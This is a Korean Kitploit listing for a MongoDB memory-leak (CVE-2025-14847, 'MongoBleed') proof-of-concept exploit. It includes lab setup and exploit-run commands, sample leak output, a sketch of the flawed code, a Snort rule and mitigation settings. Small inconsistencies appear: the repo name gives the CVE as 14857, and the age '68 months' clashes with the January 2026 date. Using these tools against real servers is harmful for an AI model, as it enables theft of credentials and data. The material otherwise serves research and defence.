Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-14857-MongoBleed — CVE-2025-14847(MongoBleed)에 대한 기능적 개념 증명 익스플로잇으로, MongoDB의 사전 인증 힙 메모리 노출 취약점입니다. 자동화된 메모리 누수 탐지, 패턴 분석, 공인된 보안 테스트 및 연구를 위한 Docker 기반 실험실 환경을 포함합니다. | Kitploit
도구/GitHubGitHub/ermensonx/cve-2025-14857-mongobleed
Memory ForensicsVulnerability AnalysisExploitationPenetration TestingLearning & EducationDatabase Security
GitHubermensonx/cve-2025-14857-mongobleed

CVE-2025-14857-MongoBleed

CVE-2025-14847(MongoBleed)에 대한 기능적 개념 증명 익스플로잇으로, MongoDB의 사전 인증 힙 메모리 노출 취약점입니다. 자동화된 메모리 누수 탐지, 패턴 분석, 공인된 보안 테스트 및 연구를 위한 Docker 기반 실험실 환경을 포함합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
68개월 전아직 검토되지 않음

CVE-2025-14847 (MongoBleed) - PoC 기능적

MongoDB 메모리 누수 익스플로잇 - 시뮬레이션된 R6 공격

CVE MongoDB Status Taxa

CVE-2025-14847 (MongoBleed)에 대한 완전한 개념 증명
테스트됨: ✅ MongoDB 7.0.5 | 14,300+ 성공적 익스플로잇 | 4개의 UUID 유출


🎯 프로젝트 개요

이 저장소는 MongoBleed로 알려진 CVE-2025-14847 취약점에 대한 완전히 작동하는 개념 증명(PoC) 을 포함합니다. 이는 MongoDB의 인증 전 힙 메모리 누수 치명적 결함입니다.

맥락: Rainbow Six Siege 사건

2025년 12월, Rainbow Six Siege 게임은 약 50,000명의 플레이어 계정을 손상시킨 대규모 공격을 겪었습니다. 공격자가 백엔드 MongoDB에서 이 취약점을 악용하여 다음을 유출한 것으로 의심됩니다:

  • 🔑 서버 인증 토큰 (R6S_SERVER_AUTH_*)
  • 👤 플레이어 UUID 및 세션 ID
  • 🛡️ 관리 권한 플래그 (TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)

이 PoC는 R6의 사실적인 데이터로 공격을 시뮬레이션합니다.


🔥 특징

  • ✅ MongoDB 7.0.5에 대해 100% 작동하는 익스플로잇
  • ✅ 3가지 익스플로잇 도구:
    • poc.py - 패턴 분석이 포함된 주요 익스플로잇
    • live_leaker.py - 고급 증분 스캐닝
    • popular_heap.py - 대상 데이터로 힙을 채우는 스크립트
  • ✅ 취약한 MongoDB를 포함한 완전한 Docker 환경
  • ✅ R6 백엔드의 1500+ 시뮬레이션 문서
  • ✅ 10가지 민감 패턴 자동 탐지 (JWT, 토큰, UUID, IP)
  • ✅ 구조화된 JSON 보고서
  • ✅ 완전한 기술 문서 (200+ 페이지)

📊 검증된 결과

추출된 UUID (실제 증거)

root@kitploit:~
246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd

🚀 빠른 시작

사전 요구 사항

  • Docker & Docker Compose
  • Python 3.8+

설치

root@kitploit:~
# 저장소 클론
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc

# 취약한 환경 시작
docker-compose up -d

# 초기화 대기 (15-20초)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"

기본 사용법

root@kitploit:~
# 1. R6 데이터로 힙 채우기
python3 popular_heap.py 50

# 2. 취약점 확인
python3 poc.py --target 127.0.0.1 --check

# 3. 라이브 리커로 익스플로잇 (권장)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json

예상 출력

root@kitploit:~
[!] MongoBleed Live Leaker Avançado
[!] Alvo: 127.0.0.1:27017
[!] Faixa: doc_len 200 → 3000 (offset=500)

[*] Progresso: doc_len=245/3000 | Tentativas=100 | Taxa sucesso=100.0%

[!] PADRÕES R6 DETECTADOS (doc_len=245):
    [UUID] 1 novo(s):
      └─ 246434ed-759b-4ce9-bb9c-2f520a9919b8

🔬 작동 방식

취약점 메커니즘

MongoDB는 zlib을 통한 메시지 압축을 허용합니다. 취약점은 선언된 크기와 실제 크기의 부적절한 검증에 있습니다:

root@kitploit:~
공격자 → {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes>}
          ↓
서버가 힙 1MB를 할당  ← 취약점
          ↓
서버가 50바이트만 압축 해제
          ↓
서버가 전체 1MB 반환!
          └─ 50바이트 = 실제 데이터
          └─ ~1MB - 50 = 메모리 누수

취약한 코드 (간소화)

root@kitploit:~
// 패치 전
size_t uncompressedSize = header.uncompressedSize;  // ← 공격자 제어
buffer = malloc(uncompressedSize);                  // ← 악의적인 크기 할당
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize);                     // ← 전체 버퍼 누수

📂 프로젝트 구조

root@kitploit:~
MongoDBPoc/
├── poc.py                          # 주요 익스플로잇
├── live_leaker.py                  # 증분 스캐닝 (✨ 권장)
├── popular_heap.py                 # 로드 스크립트
├── docker-compose.yml              # 취약한 MongoDB 7.0.5
├── init-db.js                      # 1000명 플레이어 + 500개 R6 세션
├── GUIA_TECNICO_COMPLETO.md       # 상세 문서 (200+ 페이지)
├── README.MD                       # 영어 문서
└── Portugues/                      # 번역 버전
    ├── poc_PT.py
    ├── README_PT.md
    └── GUIA_RAPIDO.md

🛡️ 영향을 받는 버전


🛡️ 탐지 및 방어

Snort 시그니처

root@kitploit:~
alert tcp any any -> any 27017 (
    msg:"CVE-2025-14847 MongoBleed Attempt";
    content:"|d4 07 00 00|";
    byte_test:4,>,1000000,4,little;
    sid:2025001;
)

보안 설정 (mongod.conf)

root@kitploit:~
net:
  bindIp: 127.0.0.1              # 절대 0.0.0.0 사용 금지!
  compression:
    compressors: []              # zlib 비활성화

security:
  authorization: enabled

완화 우선순위

  1. 🔴 심각: 수정된 버전으로 업데이트
  2. 🟠 높음: zlib 압축 비활성화
  3. 🟠 높음: 네트워크 세분화 (방화벽)
  4. 🟡 보통: 인증 활성화

📚 문서

  • GUIA_TECNICO_COMPLETO.md - 완전한 기술 분석 (200+ 페이지)

    • R6 사건 맥락
    • 취약점 메커니즘
    • 취약한 코드 vs 수정된 코드
    • 단계별 실행
    • 결과 및 통계
    • IDS 시그니처 및 강화
  • README.MD - 주요 문서 (영어)

  • Portugues/ - 번역 버전


⚠️ 법적 고지

root@kitploit:~
이 도구는 승인된 테스트 및 교육용으로만 제공됩니다.

무단 사용은 불법이며 다음과 같은 결과를 초래할 수 있습니다:
- 형사 고발 (브라질 법률 12.737/2012)
- 막대한 벌금
- 투옥

테스트 전에 항상 서면 허가를 받으십시오.

허용된 사용

  • ✅ 서면 승인을 받은 침투 테스트
  • ✅ 격리된 환경에서의 학술 연구
  • ✅ 공급업체 패치 확인
  • ✅ 보안 팀 교육

금지된 사용

  • ❌ 허가 없이 시스템 스캔 또는 공격
  • ❌ 프로덕션 데이터베이스 접근
  • ❌ 이 코드 판매 또는 무기화

🙏 크레딧

저자: Ermenson Jr
라이선스: MIT (교육용)
날짜: 2026년 1월

참고 자료

  • MongoDB 보안 권고
  • CVE-2025-14847 NVD
  • Akamai SIRT: MongoBleed 분석
  • Aikido Security

📧 연락처

기술 문의 또는 보안 연구 협업:

  • GitHub Issues: 이 저장소의 Issues 탭 사용
  • 학술 이메일: GitHub 프로필에서 확인 가능

🌟 이 프로젝트가 유용했다면

  • ⭐ 이 저장소에 별표를 눌러주세요
  • 🔄 보안 커뮤니티와 공유해주세요
  • 📝 학술 연구에 인용해주세요
  • 🐛 Issues를 통해 버그 또는 개선 사항을 보고해주세요

책임 있는 공격적 보안 연구를 위해 개발되었습니다.
Ubisoft, MongoDB Inc. 또는 Rainbow Six Siege와 제휴하지 않았습니다.

🔒 책임감 있게 사용하세요. 보안은 모두를 위한 것입니다. 🔒

도구 다운로드
메트릭결과
테스트된 MongoDB7.0.5 (취약)
성공률100% (14,300/14,300 요청)
유출된 UUID4개 고유
총 누출33개의 서로 다른 문자열
최대 누출176바이트/요청
감지된 패턴네트워크 로그, UUID, 시스템 경로
MongoDB 시리즈취약한 버전수정된 버전
8.2.x8.2.0 – 8.2.28.2.3
8.0.x8.0.0 – 8.0.168.0.17
7.0.x7.0.0 – 7.0.277.0.28
6.0.x6.0.0 – 6.0.266.0.27
5.0.x5.0.0 – 5.0.315.0.32
4.4.x4.4.0 – 4.4.294.4.30
≤ 4.2모두패치 없음 (서비스 종료)